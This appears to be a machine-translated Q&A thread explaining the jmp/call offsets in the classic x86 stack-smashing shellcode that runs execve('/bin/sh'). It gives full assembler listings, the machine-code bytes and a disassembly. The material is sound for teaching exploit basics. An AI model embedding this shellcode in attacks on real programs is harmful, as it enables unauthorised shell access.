Assembly 粉碎堆栈以获得乐趣和利润:jmp补偿
要创建外壳代码,作者将偏移占位符替换为其计算值,即Assembly 粉碎堆栈以获得乐趣和利润:jmp补偿,assembly,x86,shellcode,stack-smash,Assembly,X86,Shellcode,Stack Smash,要创建外壳代码,作者将偏移占位符替换为其计算值,即 jmp offset-to-call # 2 bytes popl %esi # 1 byte movl %esi,array-offset(%esi) # 3 bytes movb $0x0,nullbyteoffset(%esi)# 4 bytes movl $0x0,null-offset(%esi) # 7 bytes movl $0xb,%ea
jmp offset-to-call # 2 bytes
popl %esi # 1 byte
movl %esi,array-offset(%esi) # 3 bytes
movb $0x0,nullbyteoffset(%esi)# 4 bytes
movl $0x0,null-offset(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal array-offset(%esi),%ecx # 3 bytes
leal null-offset(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call offset-to-popl # 5 bytes
/bin/sh string goes here.
被翻译成这个
jmp 0x26 # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2b # 5 bytes
.string \"/bin/sh\" # 8 bytes
然而,我计算出调用的偏移量为0x2a或42字节(1+3+4+7+5+2+3+3+2+5+5+2),popl的偏移量为-0x2a
作者是如何得到0x26和-0x2b的?
0x2a
是正确的,可以通过组装来验证。对于调用
而言,它显然会多出5个字节(因为这是调用
指令的长度),因此-0x2f
是正确的。有趣的是,你们两个都没有弄对;)请注意,这些是机器代码中的偏移量,而不是可以输入到汇编程序中的内容。为此,您只需使用标签:
1 0000 EB2A jmp label_call # 2 bytes
2 label_popl:
3 0002 5E popl %esi # 1 byte
4 0003 897608 movl %esi,0x8(%esi) # 3 bytes
5 0006 C6460700 movb $0x0,0x7(%esi) # 4 bytes
6 000a C7460C00 movl $0x0,0xc(%esi) # 7 bytes
6 000000
7 0011 B80B0000 movl $0xb,%eax # 5 bytes
7 00
8 0016 89F3 movl %esi,%ebx # 2 bytes
9 0018 8D4E08 leal 0x8(%esi),%ecx # 3 bytes
10 001b 8D560C leal 0xc(%esi),%edx # 3 bytes
11 001e CD80 int $0x80 # 2 bytes
12 0020 B8010000 movl $0x1, %eax # 5 bytes
12 00
13 0025 BB000000 movl $0x0, %ebx # 5 bytes
13 00
14 002a CD80 int $0x80 # 2 bytes
15 label_call:
16 002c E8D1FFFF call label_popl # 5 bytes
16 FF
17 0031 2F62696E .string "/bin/sh" # 8 bytes
17 2F736800
或者使用
相对地址,但需要不同的偏移量,因为
指的是当前地址,而不是机器代码要求的下一条指令的地址:
1 0000 EB2A jmp .+0x2c # 2 bytes
2 0002 5E popl %esi # 1 byte
3 0003 897608 movl %esi,0x8(%esi) # 3 bytes
4 0006 C6460700 movb $0x0,0x7(%esi) # 4 bytes
5 000a C7460C00 movl $0x0,0xc(%esi) # 7 bytes
5 000000
6 0011 B80B0000 movl $0xb,%eax # 5 bytes
6 00
7 0016 89F3 movl %esi,%ebx # 2 bytes
8 0018 8D4E08 leal 0x8(%esi),%ecx # 3 bytes
9 001b 8D560C leal 0xc(%esi),%edx # 3 bytes
10 001e CD80 int $0x80 # 2 bytes
11 0020 B8010000 movl $0x1, %eax # 5 bytes
11 00
12 0025 BB000000 movl $0x0, %ebx # 5 bytes
12 00
13 002a CD80 int $0x80 # 2 bytes
14 002c E8D1FFFF call .-0x2a # 5 bytes
14 FF
15 0031 2F62696E .string "/bin/sh" # 8 bytes
15 2F736800
在这两种情况下,拆卸都是:
0: eb 2a jmp 0x2c
2: 5e pop %esi
3: 89 76 08 mov %esi,0x8(%esi)
6: c6 46 07 00 movb $0x0,0x7(%esi)
a: c7 46 0c 00 00 00 00 movl $0x0,0xc(%esi)
11: b8 0b 00 00 00 mov $0xb,%eax
16: 89 f3 mov %esi,%ebx
18: 8d 4e 08 lea 0x8(%esi),%ecx
1b: 8d 56 0c lea 0xc(%esi),%edx
1e: cd 80 int $0x80
20: b8 01 00 00 00 mov $0x1,%eax
25: bb 00 00 00 00 mov $0x0,%ebx
2a: cd 80 int $0x80
2c: e8 d1 ff ff ff call 0x2
确认正确的目标地址
PS:外壳代码中没有字节通常不是一个好主意